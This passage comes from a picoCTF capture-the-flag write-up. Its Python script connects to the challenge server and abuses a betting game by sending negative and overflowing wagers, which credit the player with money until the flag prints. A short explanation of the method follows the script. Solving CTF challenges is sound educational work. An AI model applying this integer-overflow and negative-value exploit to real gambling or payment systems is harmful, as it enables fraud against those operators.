def parse_info(self, datastring): for line in datastring.split('\n'): if line.startswith('Current Balance'): # extract the state (balance and number of flags) from output : self.balance = int(line[line.find('$')+1:line.find(' \t')]) self.wins = int(line[-1]) if 'picoCTF' in line: # Print the flag and exit if it is present self.flag = line print(line) exit(line)
def _receive(self, echo=True): databuf = [] while 1: data = self.s.recv(1024) databuf.append(data) if echo: print('... '+data.decode('ascii')) if not len(data) or b'>' in data: break datastring = (''.join(d.decode('ascii') for d in databuf)) return datastring
def _send(self, value, nl='\n'): self.s.sendall((str(value) +nl).encode('ascii'))
def bet_7(self, wager, echo=False): """ Bets the given wager on 7 - lucky number ! """ self._send(str(wager))
r = self._receive(echo=echo)
try: self.parse_info(r) except BrokenPipeError: print(r) exit(1) self._send('7')
def recharge(self): self.bet_7(self.plus_1_dollar - 20000)
def try_to_win(self, echo=False): self.bet_7(1)
def __call__(self, *args, **kwargs): while True: r = self._receive() self.parse_info(r) # print the current state : print(f'balance:{self.balance}') print(f'wins:{self.wins}') print(f'flag:{self.flag}') if self.balance < 10000: # give ourselves some credit if we're running out of dollars self.recharge() elif self.wins < 3: self.try_to_win() else: # 3000000000 will allow us to win a billion self.bet_7(3000000000, echo=True)
if __name__ == '__main__': while True: try: player = Player('2018shell3.picoctf.com', 26662) player() except Exception: # Reconnect on failure pass```
It connects to the server and places bets based on the current state of thegame :
- If the balance is less than 10000$, it places a bet with a negative value that credits us with 20000$- If we have less than 3 wins, it places 1$ bets until we reach the required 3 wins- If we have three wins, it places a bet with a negative value that credits us a billion. I then split my terminal in 25 panes and ran the script in all of them untilthe relatively unlikely 3 wins happened, triggering the 1 billion win andprinting the flag.
If it's stupid and it works ... |
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